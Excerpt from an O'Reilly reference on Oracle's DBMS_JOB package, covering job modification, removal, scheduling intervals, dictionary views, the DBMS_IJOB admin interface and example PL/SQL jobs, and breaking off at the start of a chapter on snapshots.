The CHANGE procedure alters one or more of the user-definable parameters of a job. When a null value is passed for any of these parameters (what, next_date, or interval) the current setting is not modified. Here's the header for this program:

PROCEDURE DBMS_JOB.CHANGE
   (job IN BINARY_INTEGER
   ,what IN VARCHAR2
   ,next_date IN DATE
   ,interval IN VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
what | PL/SQL code to execute as a job
next_date | Next execution date of the job
interval | Date expression to compute next execution date of job

13.2.6.1.1 Exceptions

The program does not raise any packaged exceptions. The interval date function must evaluate to a future date or the following Oracle exception will be raised:

ORA-23420

Interval must evaluate to a time in the future.

13.2.6.1.2 Restrictions

The CHANGE procedure can be executed only for jobs owned by the username to which the session is connected. These jobs are visible in the dictionary view USER_JOBS. The USER_JOBS dictionary view is discussed in the Section 13.3, "Tips on Using DBMS_JOB"" section.

13.2.6.1.3 Example

The execution schedule of job 100 can be changed to next execute tomorrow at 6:00 a.m. and every two hours after that, as follows:

BEGIN
   DBMS_JOB.CHANGE(100,null,TRUNC(SYSDATE+1)+6/24,'SYSDATE+2/24');
END;
/

When the what parameter is changed to modify the actual job to execute, the user's current session NLS settings are also recorded and become part of the job's execution environment.

13.2.6.2 The DBMS_JOB.INTERVAL procedure

The INTERVAL procedure changes the date expression, which is used to determine the next execution date of a job. Here's the header for this program:

PROCEDURE DBMS_JOB.INTERVAL
   (job IN BINARY_INTEGER
   ,interval IN VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
interval | Date expression to compute next execution date of job

13.2.6.2.1 Exceptions

The program does not raise any package exceptions. The interval date expression must evaluate to a future date or the following Oracle exception will be raised:

ORA-23420

Interval must evaluate to a time in the future.

13.2.6.2.2 Restrictions

The INTERVAL procedure can be executed only for jobs owned by the username to which the session is connected. These jobs are visible in the dictionary view USER_JOBS. The USER_JOBS dictionary view is discussed in the Section 13.3" section.

13.2.6.2.3 Example

The following SQL*Plus command will modify job 100 to execute every day at 6:00 a.m.:

SQL> execute DBMS_JOB.INTERVAL(100, 'TRUNC(SYSDATE+1)+6/24');

The date expression must be specified as a string literal or a VARCHAR2 variable containing a string literal. Literals that evaluate to PL/SQL functions are accepted by DBMS_JOB, but have been observed to cause erratic job execution behavior.

A job can be removed automatically from the job queue after its next execution by passing NULL for the interval parameter.

13.2.6.3 The DBMS_JOB.NEXT_DATE procedure

The NEXT_DATE procedure changes the job's next scheduled date of execution. Here's the header for this program:

PROCEDURE DBMS_JOB.NEXT_DATE
   (job IN BINARY_INTEGER
   ,next_date IN DATE);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
next_date | Next execution date of the job

The program does not raise any named exceptions.

13.2.6.3.1 Restrictions

The NEXT_DATE procedure can be executed only for jobs owned by the username to which the session is connected. These jobs are visible in the dictionary view USER_JOBS. The USER_JOBS dictionary view is discussed in the Section 13.3" section.

13.2.6.3.2 Example

This example shows a SQL*Plus example of how to schedule the next execution of job 100 for next Monday:

SQL> execute DBMS_JOB.NEXT_DATE(100, NEXT_DAY(SYSDATE,'MONDAY'));

When a NULL value is passed for the next_date parameter, the next execution date for the job is set to January 1, 4000. This effectively keeps the job from being executed without removing it from the job queue.

13.2.6.4 The DBMS_JOB.WHAT procedure

The WHAT procedure changes the PL/SQL call that comprises the job's PL/SQL definition. Here's the header for this program:

PROCEDURE DBMS_JOB.WHAT
   (job IN BINARY_INTEGER
   ,what IN VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
what | PL/SQL code to execute as a job

13.2.6.4.1 Restrictions

The WHAT procedure can be executed only for jobs owned by the username to which the session is connected. These jobs are visible in the dictionary view USER_JOBS. The USER_JOBS dictionary view is discussed in the Section 13.3" section.

13.2.6.4.2 Example

In this example, job 100 is modified to execute a procedure called my_package.proc1. When the job is run by the job queue, it will run in a session that has NLS_DATE_FORMAT set as in the ALTER SESSION command.

SQL> ALTER SESSION SET NLS_DATE_FORMAT='YYYY:MM:DD:HH24:MI:SS';

SQL> execute dbms_job.what(100,'my_package.proc1;');

When the what parameter is changed to modify the actual job to execute, the user's current session NLS settings are also recorded and become part of the job's execution environment.

The what parameter must be enclosed in single quotes and the PL/SQL call must be terminated with a semicolon. To embed literal strings in the PL/SQL call, use two single quotes around the literal.

13.2.7 Removing Jobs and Changing Job Execution Status

The REMOVE, BROKEN, and RUN procedures let you remove jobs from the job queue and change the execution status of jobs.

13.2.7.1 The DBMS_JOB.REMOVE procedure

The REMOVE procedure removes an existing job from the job queue. If the job is currently executing, it will run to normal completion, but will not be rescheduled. The header for this procedure is:

PROCEDURE DBMS_JOB.REMOVE
   (job IN BINARY_INTEGER);

where job is the unique identifier of the job. This program does not raise any package exceptions.

13.2.7.1.1 Restrictions

The REMOVE procedure can be executed only for jobs owned by the username to which the session is connected. These jobs are visible in the dictionary view USER_JOBS. The USER_JOBS dictionary view is discussed in the Section 13.3" section.

13.2.7.1.2 Example

To remove job number 100 from the job queue in SQL*Plus, specify the following:

SQL> execute DBMS_JOB.REMOVE(100);

When REMOVE is executed for a job that is currently executing, the job is removed from the job queue, but the current execution is allowed to complete. Terminating a running job and removing it from the job queue is described in the Section 13.3" section later in this chapter.

13.2.7.2 The DBMS_JOB.BROKEN procedure

The BROKEN procedure is used to set or unset the broken flag for a job. Jobs flagged as broken are not automatically re-executed. Here's the header for this program:

PROCEDURE DBMS_JOB.BROKEN
   (job IN BINARY_INTEGER
   ,broken IN BOOLEAN
   ,next_date IN DATE DEFAULT SYSDATE);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
broken | Flag indicating job is broken (TRUE) or not broken (FALSE)
next_date | Next execution date of the job

The program does not raise any package exceptions.

13.2.7.2.1 Restrictions

The BROKEN procedure can be executed only for jobs owned by the username to which the session is connected. These jobs are visible in the dictionary view USER_JOBS. The USER_JOBS dictionary view is discussed in the Section 13.3" section.

13.2.7.2.2 Example

All jobs owned by the current user are set to broken by this PL/SQL block:

BEGIN
   FOR job_rec IN (SELECT job FROM user_jobs)
   LOOP
      DBMS_JOB.BROKEN(job_rec.job,TRUE);
   END LOOP;
END;
/

Jobs are marked as broken by passing TRUE for the broken parameter. In this case, the next execution for the job date is automatically set to January 1, 4000, regardless of the value of the next_date parameter passed. Although it looks strange, this is not a problem and is merely another safeguard preventing the job queue processes from executing broken jobs.

When marking jobs as not broken by passing the value FALSE for the broken parameter, the value of next_date becomes the next execution date for the job. Since next_date has a default value of SYSDATE, marking a job as unbroken without specifying next_date explicitly indicates that the job should execute immediately. Be careful to pass an explicit value for next_date if immediate execution is not the desired behavior. Note also that DBMS_JOB.BROKEN (job,FALSE) will always modify the next execution date of the job, regardless of whether it was marked broken.

13.2.7.3 The DBMS_JOB.RUN procedure

The RUN procedure immediately executes the job in the current session. The header for this program follows:

PROCEDURE DBMS_JOB.RUN
   (job IN BINARY_INTEGER);

The job parameter is the unique identifier for the job. The program does not raise any package exceptions.

13.2.7.3.1 Restrictions

The RUN procedure can be executed only for jobs owned by the username to which the session is connected. These jobs are visible in the dictionary view USER_JOBS. The USER_JOBS dictionary view is discussed in the Section 13.3" section.

13.2.7.3.2 Example

To run job number 100 immediately in the current session, specify the following:

SQL> execute DBMS_JOB.RUN(100);

The RUN procedure performs an implicit COMMIT in the current session. It runs the job with the current session's settings and privileges as the execution environment. Be aware that these could be different from the execution environment settings specified for the job and used by the job queue when it runs the job. This could cause unexpected results, so it is best to execute RUN from a session with the same environment as the job.

Also, issuing the RUN procedure computes the next execution date for the job using the current SYSDATE as the seed value. This could throw off the execution schedule of some jobs, depending on how the interval is defined. See Section 13.3" for a discussion of job intervals and date arithmetic.

13.2.8 Transferring Jobs

The USER_EXPORT procedure lets you export jobs in the job queue to a file for re-creation or transfer to another database.

13.2.8.1 The DBMS_JOB.USER_EXPORT procedure

The USER_EXPORT procedure produces a character string that can be used to re-create an existing job in the job queue. The string contains a call to the ISUBMIT procedure for the job, which specifies the current values for the job definition parameters. Here's the header for the program:

PROCEDURE DBMS_JOB.USER_EXPORT
   (job IN BINARY_INTEGER
   ,mycall IN OUT VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
mycall | String containing call to the ISUBMIT procedure to re-create job

The program does not raise any package exceptions.

13.2.8.1.1 Example.

This SQL*Plus script shows that current settings for the job definition parameters are placed into the mycall parameter of USER_EXPORT:

/* Filename on companion disk: job1.sql */*
set array 1
var job number
var jobstring VARCHAR2(2000)
col jobstring format a50 word_wrap
col what format a25 word_wrap
col interval format a20

ALTER SESSION SET NLS_DATE_FORMAT='YYYY:MM:DD:HH24:MI:SS';

BEGIN
   /* submit no-op job to execute every 30 seconds */
   DBMS_JOB.SUBMIT(:job,'begin null;end;',SYSDATE,'SYSDATE+1/2880');

   /* commit to make sure the submit "takes" */
   COMMIT;
   /* sleep for two minutes to let job execute a few times */
   DBMS_LOCK.SLEEP(120);
END;
/

SELECT job,what,next_date,interval
  FROM dba_jobs
 WHERE job = :job;

BEGIN
   /* export the job */
   DBMS_JOB.USER_EXPORT(:job,:jobstring);
END;
/

print jobstring

The following output was generated by the script. Notice that the current value of NEXT_DATE (as shown by querying DBA_JOBS) is extracted and placed into the string value returned in the mycall parameter as the value for next_date in the call to ISUBMIT.

Session altered.

PL/SQL procedure successfully completed.

   JOB WHAT                      NEXT_DATE           INTERVAL
------ ------------------------- ------------------- --------------
   175 begin null;end;           1997:11:16:16:22:59 SYSDATE+1/2880

PL/SQL procedure successfully completed.

JOBSTRING
--------------------------------------------------
dbms_job.isubmit(job=>175,what=>'begin
null;end;',next_date=>to_date('1997-11-16:16:22:59
','YYYY-MM-DD:HH24:MI:SS'),interval=>'SYSDATE+1/28
80',no_parse=>TRUE);

Previous: 13.1 Getting Started with DBMS_ JOB | Oracle Built-in Packages | Next: 13.3 Tips on Using DBMS_JOB
13.1 Getting Started with DBMS_ JOB | Book Index | 13.3 Tips on Using DBMS_JOB
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.3 Tips on Using DBMS_JOB

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

13.3 Tips on Using DBMS_JOB

This section discusses several useful tips for using DBMS_JOB.

13.3.1 Job Intervals and Date Arithmetic

Job execution intervals are determined by the date expression set by the interval parameter. Getting jobs to run at the desired times can be one of the more confusing aspects of using DBMS_JOB and the job queue. One key to setting the interval correctly is determining which of the following applies to the job:

  • Each execution of the job should follow the last by a specific time interval.

  • The job should execute on specific dates and times.

Jobs of type 1 usually have relatively simple date arithmetic expressions of the type SYSDATE+N, where N represents the time interval expressed in days. The following table provides examples of these types of intervals.

Action | Interval Value
Execute daily | 'SYSDATE + 1'
Execute hourly | 'SYSDATE + 1/24'
Execute every 10 minutes | 'SYSDATE + 10/1440'
Execute every 30 seconds | 'SYSDATE + 30/86400'
Execute every 7 days | 'SYSDATE + 7'
Do not re-execute and remove job | NULL

Remember that job intervals expressed as shown in the previous table do not guarantee that the next execution will happen at a specific day or time, only that the spacing between executions will be at least that specified. For instance, if a job is first executed at 12:00 p.m. with an interval of SYSDATE + 1, it will be scheduled to execute the next day at 12:00 p.m. However, if a user executes the job manually at 4:00 p.m. using DBMS_JOB.RUN, then it will be rescheduled for execution at 4:00 p.m. the next day. Another possibility is that the database is down or the job queue so busy that the job cannot be executed exactly at the time scheduled. In this case, the job will run as soon as it can, but the execution time will have migrated away from the original submission time due to the later execution. This "drift" in next execution times is characteristic of jobs with simple interval expressions.

Jobs with type 2 execution requirements involve more complex interval date expressions, as seen in the following table.

Action | Interval Value
Every day at 12:00 midnight | 'TRUNC(SYSDATE + 1)'
Every day at 8:00 a.m. | 'TRUNC(SYSDATE + 1) + 8/24'
Every Tuesday at 12:00 noon | 'NEXT_DAY(TRUNC(SYSDATE ), "TUESDAY" ) + 12/24'
First day of the month at midnight | 'TRUNC(LAST_DAY(SYSDATE ) + 1)'
Last day of the quarter at 11:00 p.m. | 'TRUNC(ADD_MONTHS(SYSDATE + 2/24, 3 ), 'Q' ) - 1/24'
Every Monday, Wednesday, and Friday at 9:00 a.m. | NEXT_DAY(SYSDATE, "FRIDAY") ) ) + 9/24'

Specifying intervals like these can get tricky, so be sure that your date arithmetic expression is correct.

I had hoped that another option for evaluating complex job execution intervals would be to write PL/SQL functions with DATE return values that perform the interval calculations. However, my experiments in this area showed that job intervals that call date functions can be successfully submitted to the job queue but may not be properly executed. The SNP processes appeared to have difficulty properly updating the catalog, and jobs became locked in an endless cycle of execution. Perhaps this limitation will be corrected in future releases.

13.3.2 Viewing Job Information in the Data Dictionary

Information about jobs in the job queue is available through several data dictionary views (see Table 13.2) created by the catproc.sql script.

Table 13.2: Data Dictionary Views for DBMS_JOB
View Name | Description
DBA_JOBS | All jobs defined to the job queue in this database
DBA_JOBS_RUNNING | All jobs in the database which are currently executing
USER_JOBS | Jobs in the database owned by the current user

Table 13.3 summarizes the various columns in the DBA_JOBS and USER_JOBS views.

Table 13.3: Columns in DBA_JOBS and USER_JOBS Views
Column | Datatype | Description
JOB | NUMBER | Unique identifier of the job
LOG_USER | VARCHAR2(30) | User who submitted the job
PRIV_USER | VARCHAR2(30) | User whose privileges apply to the job
SCHEMA_USER | VARCHAR2(30) | User schema to parse the job under
LAST_DATE | DATE | Last successful execution date
LAST_SEC | VARCHAR2(8) | Hour, minute, and second portion of last_date formatted as HH24:MI:SS
THIS_DATE | DATE | Date current execution began, or NULL if not executing
THIS_SEC | VARCHAR2(8) | Hour, minute, and second portion of this_date formatted as HH24:MI:SS
NEXT_DATE | DATE | Date of next scheduled execution
NEXT_SEC | VARCHAR2(8) | Hour, minute, and second portion of next_date formatted as HH24:MI:SS
TOTAL_TIME | NUMBER | Total elapsed time in seconds for all executions of this job
BROKEN | VARCHAR2(1) | Flag value Y indicates job broken, will not run
INTERVAL | VARCHAR2(200) | Date function used to compute next_date
FAILURES | NUMBER | Number of consecutive unsuccessful executions
WHAT | VARCHAR2(2000) | PL/SQL block executed as the job
CURRENT_SESSION_LABEL | RAW MLSLABEL | Trusted Oracle session label for the job
CLEARANCE_HI | RAW MLSLABEL | Trusted Oracle high clearance for the job
CLEARANCE_LO | RAW MLSLABEL | Trusted Oracle low clearance for the job
NLS_ENV | VARCHAR2(2000) | execution
MISC_ENV | RAW(32) | Other session parameters for job execution

Table 13.4 shows the columns in the DBA_JOBS_RUNNING view.

Table 13.4: Columns in DBA_JOBS_RUNNING View
Column | Datatype | Description
SID | NUMBER | Session ID currently executing the job
JOB | NUMBER | Unique identifier of the job
FAILURES | NUMBER | Number of consecutive unsuccessful executions
LAST_DATE | DATE | Last successful execution date
LAST_SEC | VARCHAR2(8) | Hour, minute, and second portion of last_date formatted as HH24:MI:SS
THIS_DATE | DATE | Date current execution began
THIS_SEC | VARCHAR2(8) | Hour, minute, and second portion of this_date formatted as HH24:MI:SS

The number and size of the columns in DBA_JOBS and USER_JOBS can make them awkward to query interactively. Several examples of useful scripts to run against the job queue dictionary views follow. One thing I usually do is to set my session NLS_DATE_FORMAT to display the full date and time; in this way, I avoid selecting the date and time portions separately. Note that the date columns in these views contain full date values down to the second; the formatted timestamp columns (LAST_SEC, THIS_SEC, NEXT_SEC) are actually derived from them in the views.

This script shows which jobs are currently executing, who owns them, and when they began:

/* Filename on companion disk: job2.sql */*
col job_definition format a30 word_wrap
col username format a15

ALTER SESSION SET NLS_DATE_FORMAT='YYYY:MM:DD:HH24:MI:SS';

SELECT  jr.job       job_id
       ,username     username
       ,jr.this_date start_date
       ,what         job_definition
  FROM
        dba_jobs_running   jr
       ,dba_jobs           j
       ,v$session          s
 WHERE
        s.sid  = jr.sid
   AND  jr.job = j.job
 ORDER BY jr.this_date;

The following script shows failing or broken jobs (i.e., jobs that may need attention):

/* Filename on companion disk: job2.sql */*
col job_owner format a15
col job_definition format a30 word_wrap

SELECT  job
       ,log_user     job_owner
       ,failures
       ,broken
       ,what         job_definition
  FROM
        dba_jobs
 WHERE
        broken = 'Y' OR NVL(failures,0) > 0 ;

The next script shows jobs queued up to be executed in order of next execution date. Jobs with negative values in the mins_to_exec column indicate that the job queue is not keeping up with its workload and may need extra job queue processes initiated. The script excludes currently executing jobs because next_date will not be updated until the current execution completes.

/* Filename on companion disk: job2.sql */*
col job_definition format a30 word_wrap
col username format a15

ALTER SESSION SET NLS_DATE_FORMAT='YYYY:MM:DD:HH24:MI:SS';

SELECT  job
       ,username
       ,next_date
       ,ROUND((next_date - SYSDATE)*24*60)  mins_to_exec
       ,what                         job_definition
  FROM
        dba_jobs
 WHERE
      broken != 'Y'
  AND job NOT IN
         (SELECT job
            FROM dba_jobs_running)
 ORDER BY next_date ASC;

Here is sample output from the preceding script on a system that has a very busy job queue. Job number 10 will be run next but is already 21 minutes late for execution.

    JOB NEXT_DATE           MINS_TO_EXEC JOB_DEFINITION
----- ------------------- ------------ ------------------------------
   10 1997:11:25:17:04:10          -21 load3.loadx.loop_and_execute(5
                                       ,30,'begin
                                       loadx.table_scanner(5,5);end;'
                                       );

    5 1997:11:25:17:25:21            0 load3.loadx.loop_and_execute(1
                                       0,90,'begin
                                       loadx.cpu_hog(20,20,20);end;')
                                       ;

   12 1997:11:25:17:29:08            4 load2.loadx.loop_and_execute(2
                                       0,60,'begin
                                       loadx.grow_table(''LOAD2'',''T
                                       ABLE2'',500,500);end;');

13.3.3 DBMS_IJOB: Managing Other Users' Jobs

One of the most frustrating aspects of the DBMS_JOB package for DBAs is that its procedures can be executed only against jobs owned by the current user. Even the SYS user cannot remove or set the broken flag for other user's jobs. Thus, job queue environments with multiple job owners can become problematic to administer using the DBMS_JOB package. On the other hand, requiring all jobs to be submitted under a single schema can introduce significant administrative overhead and complexity.

Fortunately, there is a way out of this dilemma. While it is not widely documented (until now), there is a hidden package interface into the job queue, which allows administrators to manipulate jobs that are not their own. This package is called DBMS_IJOB and it is created entirely in the prvtjob.plb script. DBMS_IJOB allows properly authorized users to manipulate any job in the job queue.

The following procedure uses DBMS_IJOB.BROKEN to set or unset the broken flag for all jobs in the job queue:

/* Filename on companion disk: job3.sql */*
PROCEDURE break_all_jobs (set_broken_IN IN BOOLEAN)
IS
   /*
   || Sets the broken flag to TRUE or FALSE for all
   || jobs in the job queue
   ||
   || Requirements:
   ||
   || SELECT on DBA_JOBS
   || EXECUTE on DBMS_IJOB
   */
BEGIN
   FOR job_rec IN
            (SELECT job
               FROM dba_jobs)
   LOOP
      SYS.DBMS_IJOB.BROKEN(job_rec.job, set_broken_IN);
   END LOOP;
END break_all_jobs;

Another useful administrative feature of DBMS_IJOB is the ability to remove other users' jobs from the queue. Again, such activities should typically be done by DBAs and only when necessary. Here is a handy procedure similar to the previous one that will remove all jobs by user, or all jobs if NULL is explicitly passed in for the owner_IN parameter. If no job owner is specified, the procedure removes all jobs owned by the caller.

/* Filename on companion disk: job3.sql */*
PROCEDURE remove_all_jobs
   (owner_IN IN VARCHAR2 := USER )
IS
   /*
   || Removes all jobs from the job queue owned by
   || a specific user, defaults to current user
   ||
   || Requirements:
   ||
   || SELECT on DBA_JOBS
   || EXECUTE on DBMS_IJOB
   */
BEGIN
   FOR job_rec IN
            (SELECT job
               FROM dba_jobs
              WHERE priv_user = NVL(owner_IN,priv_user) )
   LOOP
      SYS.DBMS_IJOB.REMOVE(job_rec.job);
   END LOOP;
END remove_all_jobs;

These two procedures may come in handy when manipulation of large numbers of jobs is necessary (e.g., when trying to quiesce an environment with many busy job queue processes).

Previous: 13.2 Job Queue Architecture | Oracle Built-in Packages | Next: 13.4 DBMS_JOB Examples
13.2 Job Queue Architecture | Book Index | 13.4 DBMS_JOB Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.4 DBMS_JOB Examples

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

13.4 DBMS_JOB Examples

The DBMS_JOB package has all kinds of useful applications waiting to be discovered. DBAs can schedule jobs that look for problem conditions in the database or track and record resource utilization. Developers can schedule large batch operations at off hours without requiring operator intervention.

13.4.1 Tracking Space in Tablespaces

I decided to implement a very simple tracking system that can be used to track the growth of data in tablespaces. Such a system could be used for capacity planning or to trigger an alert of impending space problems.

The system consists of a table called db_space, a view called tbs_space, and a procedure called space_logger. Here is the source code for the system:

/* Filename on companion disk: job6.sql */*
CREATE TABLE db_space
   (tablespace_name   VARCHAR(30)  NOT NULL
   ,calc_date      DATE    NOT NULL
   ,total_bytes    NUMBER  NOT NULL
   ,free_bytes     NUMBER  NOT NULL);

CREATE OR REPLACE VIEW tbs_space
   (tablespace_name
   ,total_bytes
   ,free_bytes)
AS
   SELECT  DF.tbsname         tablespace_name
          ,DF.totbytes        total_bytes
          ,FS.freebytes       free_bytes
     FROM
          (SELECT  tablespace_name     tbsname
                  ,SUM(bytes)          totbytes
             FROM  dba_data_files
            GROUP BY tablespace_name
          ) DF
         ,(SELECT  tablespace_name     tbsname
                  ,SUM(bytes)          freebytes
             FROM  dba_free_space
            GROUP BY tablespace_name
          ) FS
    WHERE
          DF.tbsname = FS.tbsname;

CREATE OR REPLACE PROCEDURE space_logger
AS
   /*
   || records total size and free space for all
   || tablespaces in table db_space
   ||
   || Author:  John Beresniewicz, Savant Corp
   ||
   || 01/26/98: created
   ||
   || Compilation requirements:
   ||
   || SELECT on TBS_SPACE view
   || INSERT on DB_SPACE table
   */
   CURSOR tbs_space_cur
   IS
   SELECT tablespace_name, total_bytes, free_bytes
     FROM tbs_space;

BEGIN
   FOR tbs_space_rec IN tbs_space_cur
   LOOP
      INSERT INTO db_space VALUES
         (tbs_space_rec.tablespace_name
         ,SYSDATE
         ,tbs_space_rec.total_bytes
         ,tbs_space_rec.free_bytes);
   END LOOP;
   COMMIT;
END space_logger;

To set the system in motion, the space_logger procedure can be submitted to the job queue for regular execution as follows:

DECLARE
   jobno   NUMBER;
BEGIN
   DBMS_JOB.SUBMIT
      (job  => jobno
      ,what => 'begin space_logger; end;'
      ,next_date => SYSDATE
      ,interval  => 'SYSDATE+1/24');
   COMMIT;
END;
/

Each time space_logger executes, it records total space, free space, tablespace name, and a timestamp for each tablespace in the database. Adjusting the interval parameter for the job adjusts the frequency of data collection.

13.4.2 Fixing Broken Jobs Automatically

Charles Dye recommended the next example, probably based on his experiences with replication. When jobs have relatively complex execution requirements in terms of the database objects on which they depend, they can easily become broken by incurring multiple execution failures. Perhaps the DBA has modified some database links or recreated tables or views, and the job's definition has been temporarily compromised. Well, it's a pain to manually reset the broken flag for these "not really broken" jobs, so why not have a job that regularly tries to unbreak jobs? Sounds good to me; here is a procedure called job_fixer to do just that:

/* Filename on companion disk: job5.sql */*
CREATE OR REPLACE PROCEDURE job_fixer
AS
   /*
   || calls DBMS_JOB.BROKEN to try and set
   || any broken jobs to unbroken
   */

   /* cursor selects user's broken jobs */
   CURSOR broken_jobs_cur
   IS
   SELECT job
     FROM user_jobs
    WHERE broken = 'Y';

BEGIN
   FOR job_rec IN broken_jobs_cur
   LOOP
      DBMS_JOB.BROKEN(job_rec.job,FALSE);
   END LOOP;
END job_fixer;

The job_fixer procedure works only on a user's own jobs, so each user submitting jobs to the queue will need a separate job_fixer in the queue.

13.4.3 Self-Modifying and Self-Aware Jobs

The ability to reference the job, next_date, and broken parameters in the job definition allows the procedure executed to alter its own job characteristics. Thus, a job could remove itself from the job queue, or assign its own next execution date based on some criteria decided at runtime by the procedure itself. I've written a small skeleton procedure that demonstrates this capability. It is called smart_job, and makes use of all three of the referenceable parameters when submitted as a job.

When submitted to the job queue, smart_job uses the job definition parameters to modify itself in the following ways:

  • Reschedules itself to parm1_IN minutes after finishing if parm2_IN = "RESTART"

  • Sets next_date NULL causing automatic removal from queue if parm2_IN != "RESTART"

  • Flags itself as broken if any exceptions are encountered

  • Uses the job number to raise an exception

Pay close attention to how the smart_job procedure modifies itself. It uses the fact that the next_date and broken parameters support both IN and OUT modes when referenced by the job definition. Thus, when the broken_out parameter of smart_job has the broken parameter assigned to it in the call to DBMS_JOB.SUBMIT, the value set for broken_out by the procedure gets set for the job by the job queue when the job completes. In this way, smart_job changes its job characteristics without calling any DBMS_JOB procedures.

Here is the source code for smart_job:

/* Filename on companion disk: job4.sql */*
PROCEDURE smart_job
   (parm1_IN IN INTEGER
   ,parm2_IN IN VARCHAR2
   ,next_date_OUT IN OUT DATE
   ,broken_OUT IN OUT BOOLEAN
   ,job_IN IN INTEGER := -1)
IS
   /* declare an exception for testing */
   JOB_LESSTHAN_100  EXCEPTION;

BEGIN
   /*
   || Do the procedure main line functions
   */
   null;

   /*
   || use job_IN to branch to exception handler
   || for testing self-breaking
   */
   IF job_IN < 100
   THEN
      RAISE JOB_LESSTHAN_100;
   END IF;

   /*
   || After main processing is finished, job decides
   || if it should re-execute and determines its own
   || next execution date by adding parm1_IN minutes to
   || the current time
   */
   IF parm2_IN = 'RESTART'
   THEN
      next_date_OUT := SYSDATE + parm1_IN/1440;
   ELSE
      /*
      || NULL next_date will cause automatic removal of
      || job from queue
      */
      next_date_OUT := NULL;
   END IF;

EXCEPTION
   /*
   || job "breaks" itself if unexpected error occurs
   */
   WHEN OTHERS
   THEN
      broken_OUT := TRUE;

END smart_job;

The following test script exercises smart_job:

/* Filename on companion disk: job4.sql */*
var jobno NUMBER
BEGIN
   /*
   || Test the ability to modify next_date.
   */
   DBMS_JOB.SUBMIT
      (:jobno
      ,'smart_job(180,''RESTART'',next_date,broken,job);'
      ,SYSDATE + 1/1440
      ,'SYSDATE + 1');

   COMMIT WORK;
END;
/
print jobno

BEGIN
   /*
   || Test the ability to autoremove
   */
   DBMS_JOB.SUBMIT
      (:jobno
      ,'smart_job(180,''NO_RESTART'',next_date,broken,job);'
      ,SYSDATE + 1/1440
      ,'SYSDATE + 1');

   COMMIT WORK;
END;
/
print jobno

BEGIN
   /*
   || Test the ability to break itself.
   */
   DBMS_JOB.ISUBMIT
      (99
      ,'smart_job(180,''RESTART'',next_date,broken,job);'
      ,SYSDATE + 1/1440
      ,'SYSDATE + 1');

   COMMIT WORK;
END;
/

After executing the test script in SQL*Plus, the following jobs are in the queue:

SQL> SELECT job,last_date,next_date,broken FROM user_jobs;

JOB       LAST_DATE           NEXT_DATE           B
--------- ------------------- ------------------- -
      307                     1997:11:25:11:50:39 N
      308                     1997:11:25:11:50:39 N
       99                     1997:11:25:11:50:40 N

A few minutes later, the job queue looks like this:

SQL> SELECT job,last_date,next_date,broken FROM user_jobs;

JOB       LAST_DATE           NEXT_DATE           B
--------- ------------------- ------------------- -
      307 1997:11:25:11:50:42 1997:11:25:14:50:42 N
       99 1997:11:25:11:50:42 1997:11:26:11:50:42 Y

The tests worked! Job 308 ran once and was removed from the queue for having a NULL next_date. Job 307 ran and rescheduled itself three hours later, which is different from the interval specified in the call to DBMS_JOB.SUBMIT. Finally, job 99 set itself to broken status because its job number was less than 100.

Previous: 13.3 Tips on Using DBMS_JOB | Oracle Built-in Packages | Next: IV. Distributed Database Packages
13.3 Tips on Using DBMS_JOB | Book Index | IV. Distributed Database Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] Snapshots

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: IV. Distributed Database Packages Chapter 14 Next: 14.2 DBMS_REFRESH: Managing Snapshot Groups

14. Snapshots

Contents:
DBMS_SNAPSHOT: Managing Snapshots
DBMS_REFRESH: Managing Snapshot Groups
DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation
DBMS_REPCAT: Managing Snapshot Replication Groups

Oracle provides a number of packages that let you perform various types of administrative operations on snapshots and snapshot logs. Most of these administrative operations are relevant only if you are using snapshot groups or the Oracle advanced replication option. This chapter describes the following packages:

DBMS_SNAPSHOT

Lets you maintain snapshots and snapshot logs.

DBMS_OFFLINE_SNAPSHOT

Allows you to instantiate snapshots without having to run the CREATE SNAPSHOT command over the network. This package is particularly useful if you need to instantiate extremely large snapshots.

DBMS_REFRESH

Administers snapshot groups at a snapshot site.

DBMS_REPCAT

Performs a number of advanced replication operations. This chapter describes only the DBMS_REPCAT programs that deal with snapshots; all other programs are described in Chapter 15, Advanced Replication.

Even if you are using PL/SQL's built-in snapshot packages, you will continue to use the CREATE SNAPSHOT command to create your snapshots.

14.1 DBMS_SNAPSHOT: Managing Snapshots

The DBMS_SNAPSHOT package contains programs that allow you to maintain snapshots and snapshot logs, and to set and query package state variables associated with the advanced replication option.

14.1.1 Getting Started with DBMS_SNAPSHOT

The DBMS_SNAPSHOT package is created when the Oracle database is installed. The dbmssnap.sql script (found in the built-in packages source directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_SNAPSHOT for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

Table 14-1 lists the programs contained in the DBMS_SNAPSHOT package.

Table 14.1: DBMS_SNAPSHOT Packages
Name | Description | Use in SQL?
